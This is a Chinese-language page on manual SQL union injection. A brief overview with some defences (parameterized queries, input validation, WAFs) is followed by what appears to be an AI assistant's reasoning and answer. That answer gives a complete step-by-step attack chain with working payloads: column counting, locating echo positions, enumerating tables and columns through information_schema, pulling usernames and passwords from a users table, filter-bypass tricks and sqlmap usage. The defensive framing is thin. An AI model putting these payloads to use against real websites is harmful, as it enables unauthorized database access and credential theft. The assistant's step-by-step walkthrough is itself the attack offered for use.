sql手工注入 union

### SQL 手工注入方法 SQL 手工注入是一种通过分析目标系统的响应并逐步推断出数据库结构的技术。以下是常见的手工注入技巧： #### 判断是否存在注入点 可以通过向应用程序发送特殊字符来测试是否存在漏洞，例如单引号 `'` 或双引号 `"`。如果服务器返回错误消息，则可能存在注入点。 ```sql ' OR '1'='1 -- ``` 此语句利用布尔逻辑使条件始终为真，从而绕过身份验证[^3]。 #### 推导数据库类型 不同的数据库管理系统 (DBMS) 对于某些函数的支持不同，因此可以根据这些差异判断使用的 DBMS 类型。例如，在 MySQL 中可以使用 `version()` 函数获取版本信息；而在 Microsoft SQL Server 中则可尝试执行扩展存储过程如 `xp_cmdshell` 来确认环境特性。 #### 枚举表名和列名 一旦确定了具体的数据库种类之后，就可以进一步提取敏感数据。对于 MySQL 数据库来说，可能需要访问 information_schema 表格以列举可用资源列表: ```sql UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- ``` 上述命令会列出当前选定模式下的所有表格名称。 --- ### 防御措施 针对 SQL 注入攻击的有效预防策略包括但不限于以下几个方面： #### 参数化查询 采用预编译语句能够有效防止恶意字符串被解释成实际的 SQL 命令部分。下面是一个 Python 的例子展示如何实现这一点： ```python import sqlite3 conn = sqlite3.connect('example.db') cursor = conn.cursor() username = input("Enter your username:") password = input("Enter your password:") query = """SELECT * FROM users WHERE name=? AND pass=?""" result = cursor.execute(query, (username, password)).fetchall() print(result) ``` 这里 ? 是占位符，它会被后面的元组替换掉而不会改变原始语法结构[^1]。 #### 输入校验与清理 严格限定允许接收的数据格式，并移除潜在危险字符组合。虽然这种方法不能完全杜绝风险，但它确实增加了成功实施攻击难度级别。 #### 使用 Web 应用程序防火墙(WAFs) 部署 WAF 可以为网站提供额外一层保护屏障，自动识别并拦截可疑活动流。它们依据已知威胁签名以及行为异常检测机制工作，有助于减轻开发者负担的同时提升整体安全性水平[^2]。 ---

<think>嗯，用户让我介绍一下SQL注入中的Union联合注入流程和常用的手工注入语句，还要求用中文回答。首先，我需要回忆一下Union注入的基本原理。Union注入是利用SQL的UNION操作符来合并两个查询的结果，从而获取数据库中的信息。对吧？ 接下来，流程方面，用户可能需要知道具体的步骤。通常来说，Union注入的步骤应该包括确定注入点、判断字段数、确认回显位置、获取数据库信息、提取表名、提取字段名，最后获取数据。这个流程对吗？是不是应该先闭合前面的查询，再构造Union语句？ 然后，每个步骤对应的手工注入语句是什么？比如，在判断字段数时，通常会使用ORDER BY子句，递增数字直到报错。例如，ORDER BY 3如果正常，ORDER BY 4报错，说明有3个字段。这一步需要注意正确性，可能需要多次尝试。 确认回显位置的话，使用类似UNION SELECT 1,2,3这样的语句，看看页面哪里显示数字，以确定哪些字段会被输出。这里可能需要处理原查询的结果，比如让原查询返回空，这样Union的结果就能显示出来。例如，用AND 1=2来使原查询不返回结果。 接下来是获取数据库信息，比如数据库版本、当前数据库名。对应的语句可能是UNION SELECT 1,version(),database()，但具体语法可能因数据库而异，比如MySQL用version()，而SQL Server用@@version。用户可能需要知道不同数据库的区别，但这里用户可能只需要常见的，比如MySQL的例子。 提取表名的时候，需要查询information_schema.tables，并指定数据库名。例如，UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1。可能需要用limit来逐个获取表名，或者用group_concat来一次性获取所有表名，不过有时候会有长度限制。 然后是字段名，同样查询information_schema.columns，指定表名。比如UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'。这里可能需要处理单引号被转义的情况，使用十六进制或者别的绕过方法。 最后获取数据，就是普通的SELECT查询，指定表和字段。例如，UNION SELECT 1,username,password FROM users。这里需要注意字段数要和原来的查询一致，可能需要用NULL或者占位数字。 需要注意的事项，比如字段数必须一致，否则会报错。还有闭合原查询的引号和括号，避免语法错误。此外，不同的数据库有不同的系统表，比如MySQL的information_schema，而Oracle可能需要查all_tables等，但用户可能主要关注MySQL的例子。 有没有可能遗漏了什么步骤？比如，测试注入点是否存在，通常会用单引号或者布尔逻辑，比如' OR 1=1 --，看看页面是否有变化。不过用户问的是Union注入流程，可能这部分属于漏洞检测阶段，但流程里可能还是需要先确定注入点是否有效。 另外，权限问题，如果当前用户权限不足，可能无法访问information_schema，这时候可能需要其他方法。但常见的手工注入通常会假设有权限访问系统表。 还有，处理回显位置的时候，可能需要将原查询的结果置空，例如加上AND 1=2，或者OR 1=2，取决于上下文。这样Union的结果才会显示出来。 另外，注释符的使用，比如--后面需要加空格，或者在URL中用%20表示空格，否则可能注释无效。比如在GET请求中，--%20会被解析成-- 空格。 总结一下，流程应该是： 1. 确定注入点并闭合语句 2. 判断字段数 3. 确定回显位置 4. 获取数据库信息 5. 提取表名 6. 提取字段名 7. 提取数据 对应的语句需要每个步骤的示例，并且解释每个部分的作用。比如在闭合语句时，可能需要闭合单引号或者括号，然后加上注释符来注释掉后面的内容。 可能还需要提到常见的闭合方式，比如'、')、'))等，根据报错信息来调整。比如原查询如果是SELECT * FROM users WHERE id='1'，那么注入时需要闭合前面的'，然后加上Union语句，再注释掉后面的内容。 例如：' UNION SELECT 1,2,3 -- 这里要注意空格的问题，在URL中可能需要用+或者%20代替。 另外，手工注入的时候，可能需要多次尝试，比如字段数不对的时候调整ORDER BY的值，回显位置可能需要测试不同的列是否显示在页面上。 最后，注意事项部分需要强调闭合和注释的重要性，字段数匹配，以及系统表的使用。还有不同数据库的差异，但用户可能只需要MySQL的例子，所以可以主要针对MySQL来写。 现在把这些整理成结构清晰的步骤，每个步骤给出对应的语句和解释，确保语法正确，使用中文，并且符合用户的要求。</think>以下为SQL联合注入（Union-Based Injection）的完整流程和常用语句解析，按手工注入步骤分层说明： --- ### 一、联合注入核心流程 #### 1. 确认注入点并闭合语句 ```sql ?id=1' and 1=2 union select 1,2,3 --+ ``` - **作用**：通过单引号`'`触发错误，`and 1=2`使原查询失效，`--+`注释后续代码 - **观察点**：页面是否显示`1,2,3`中的数字（回显位） #### 2. 判断字段数量 ```sql ?id=1' order by 4 --+ ``` - **原理**：`order by n`根据第n列排序，若报错则字段数小于n - **关键**：通过二分法快速确定字段数（如`order by 3`正常但`order by 4`报错 → 字段数为3） #### 3. 定位回显位 ```sql ?id=-1' union select 1,2,3 --+ ``` - **技巧**：使用负数或无效值（`-1`）让原查询无结果，强制显示Union查询内容 - **输出**：页面显示`2`或`3`等数字，表示该位置可输出查询结果 --- ### 二、信息探测阶段 #### 4. 获取数据库基础信息 ```sql ?id=-1' union select 1,version(),database() --+ ``` - `version()`：数据库版本 - `database()`：当前数据库名 - `user()`：当前用户权限 #### 5. 提取所有表名 ```sql ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ ``` - **系统表**：`information_schema.tables`存储所有表信息 - `table_schema=database()`：限定当前数据库 - `group_concat()`：合并多行结果避免分页显示 #### 6. 提取目标表字段名 ```sql ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ ``` - **系统表**：`information_schema.columns`存储字段信息 - **绕过单引号**：若过滤引号，可用十六进制`0x7573657273`代替`'users'` #### 7. 最终数据提取 ```sql ?id=-1' union select 1,username,password from users --+ ``` - **按需调整**：根据回显位选择输出字段（如`union select 1,username,password`） --- ### 三、关键注意事项 1. **字段数匹配**：Union前后SELECT的字段数量必须一致 2. **数据类型匹配**：若原查询字段为字符串，对应位置需用字符串类型（如`@@version`可替换数字） 3. **绕过过滤**： - 空格过滤：用`/**/`或`+`代替 - 注释符：`-- `（需尾部空格）、`#`（URL编码为`%23`） 4. **多数据库适配**： - MySQL：`concat()`,`version()` - MSSQL：`@@version` - Oracle：`banner FROM v$version` --- ### 四、自动化辅助手段 - **工具验证**：使用`sqlmap -u "url" --technique=U`自动检测联合注入 - **编码转换**：复杂过滤场景下需手动将语句转为URL编码或Unicode形式 通过以上流程可系统化完成手工联合注入攻击，实际需根据目标数据库类型和防御机制灵活调整。